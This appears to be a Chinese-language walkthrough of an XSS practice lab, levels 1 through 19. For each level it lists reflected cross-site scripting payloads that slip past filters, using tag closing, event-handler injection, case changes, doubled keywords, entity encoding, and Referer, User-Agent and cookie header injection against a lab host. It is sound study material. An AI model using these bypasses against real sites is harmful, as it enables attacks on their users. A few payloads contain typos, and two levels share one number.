xss靶场解析
第一关:
get型xss漏洞
根据地址拦确定,提交的参数是name
构造name的payload
?name=<script>alert(1)</script>
所以这一关没有进行任何的防护措施
第二关
很显然这次的注入点应该是在表单里
- 表单是有自己的标签的
- 我们需要先把input标签闭合才能执行我们自己的标签
"><script>alert(1)</script>
还有另一种方法
既然form有自己的标签,那么我们直接利用标签的属性进行弹窗
- 构造payload
"onclick="alert(1)
第三关
很显然这里的‘<’’>’是被编译过的,因此没办法使用标签,那么,就用属性来做了
同样注意到这里value的闭合方式是’’.
payload
'onclick='alert(1)
第四关
看这里,就很显然,输入的和实际进去的不一样<>全都没了。。。
那么试一下双写,没用。。。。。。。
不搞了,属性试试
payload
" onclick="alert(1)
所以,本关就是过滤了尖括号
第五关
这次正常的脚本和事件注入,都不行
输入后,看一下源代码
on变成了o_n
ri变成了r_i
这两标签不能用了,那用其他的吧
such as:
"><a href="javascript:alert(1)"
点击一下图片就会弹窗
第六关
- 继续用<href>标签试试
也没啥用
太优秀了啊!!!
- 那么试一下大小写
"><SCRIPT>alert(1)<SCRIPT>
第七关
- 输入
"><script>alert(1)</script><"
直接连script给整没了。。。
"><href a="javascript:alert1()
- 根据sql的经验,使用嵌套的方式试试吧
字符串里面的script被替换成“=”,但是标签里面的script被替换成空
"><scrscriptipt>alert(1)</scrscriptipt><"
那么,这里就是双写
第八关
输入
a = javascript:alert(1)
这里又是被转换了。。。
- 如果是
"><href a="javacript:alert(1)
狠毒啊!!!
- 看一下源代码吧。。。
这里基本上把能用的标签都转换了,
- 这里还有个函数
htmlspecialchars:
把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体:
这个函数是把没有经过处理的函数进行html实体编码
尝试先对构造的payload进行html实体解码,再试试
javascript:alert(1)
html编码
javascript:alert(1)
第九关
- 继续按第八关的做法,发现不行
- 看一下源代码
- 他这里做了一下选择
意思是,如果语句中有http://才能通过,那么我们加上,同时还要满足脚本语句,尝试把,http加入到alert()里面
javascript:alert('http://')
ok
第10关
- 没有表单,尝试在url中输入,but,不行
- 看一下页面源代码
有几个隐藏的标签
- 尝试利用这几个隐藏的标签,完成xss
没反应,看下源代码
没变化,可能不是这个
换成t_history也没变化
那么就只有t_sort
?t_sort=<script>alert(1)</script>
在这里他把我们所有的<>都搞没了
尝试事件注入吧
由于是隐藏标签,构建payload时:
t_sort=2" onclick="alert(2)" type="text"
先利用text标签让他显示出来,再点击执行js代码
第11关
- 看一下源代码
- 同样是一些隐藏的标签,直接试一下,从t_ref能不能执行注入
没啥用,还是在t_sort执行吧
还是没用
标签没有被做过任何处理,但还是没有执行成功,所以,注入点不在这里。。。。
试了几个其他的都没啥用。。。
- 最后看一下源代码
原来这里获取3个值,t_sort试了不行,那么就只有gttp_referer,这里只做了一个过滤,所以利用bp抓报吧
不让用尖括号,就用属性值!
注意:
Referer字段必须与上面的字段接着。。。
GET /xss/level11.php HTTP/1.1
Host: 192.168.220.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=5r7fmn7mb96g512gv1p4jn20b2
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0
Referer: 2" onclick="alert(1)" type="text"
- 构造payload
Referer: 1" onclick="alert(1)" type= "text"
OKK!!
第12关
- 查看源代码,那么估计处这次的注入点应该是User-Agent
那么类似于上一关试一试
- 构造payload
1" onclick="alert(1)" type="text"
- 点击一下完成xss
第14关
- 查看源代码
这里人家都说了是他,那么,就不尝试其他的了
- 抓包,改cookie
注意遵循原cookie的格式
这里改变了属性,只要鼠标移上去就会触发
第14关
不知道干啥
源代码,也是啥也没给
估计是啥也不让做,先过了
第15关
- 查看源代码
这个东西可以看一下这个教程
- 由于找不到注入点,试一下看看源代码
这里找到了注入点
ng-include 指令用于包含外部的 HTML 文件。而且只能包含同一级目录的。
在15关我们可以包含第一关的页面(xss简单) 同时还注意到他对注入的字符串进行了html实体编码
?src='level1.php'
由于实体编码,就采用事件注入吧
构造payload
?src='levael1.php?name=<input onclick=alert(2)>'
OKK
第16关
- 试探一下
发现script没了
- 可能不简单,看一下源代码
过滤了空格,/,script
尝试其他的标签
?keyword=<input%0Aonclick=alert(1)>
第17关
查看源代码
这个标签的解释:
根据地址栏发现注入点,但是不清楚怎么处理,看一下源代码
直接利用事件注入就可以
onmouseover=javascript=javascript:alert(1)
火狐看不到图,我换成了google
第18关
和17题类似,看一下源代码做了什么处理
好像是没啥变化??
使用17题的payload
过了
第19关
试一下18关的代码
没用。。。。
看下源代码
和之前不一样,这里需要闭合这个双引号,不然就以为只是一个属性,之前是不需要闭合的
由于经过了htmlspecialchars处理,双引号也在被处理的范围//
Flash产生的xss问题主要有两种方式:
1.加载第三方资源
2.与javascript通信引发XSS。
由于各种浏览器,都看不到注入的结果是啥,先暂停一下,之后再弄。。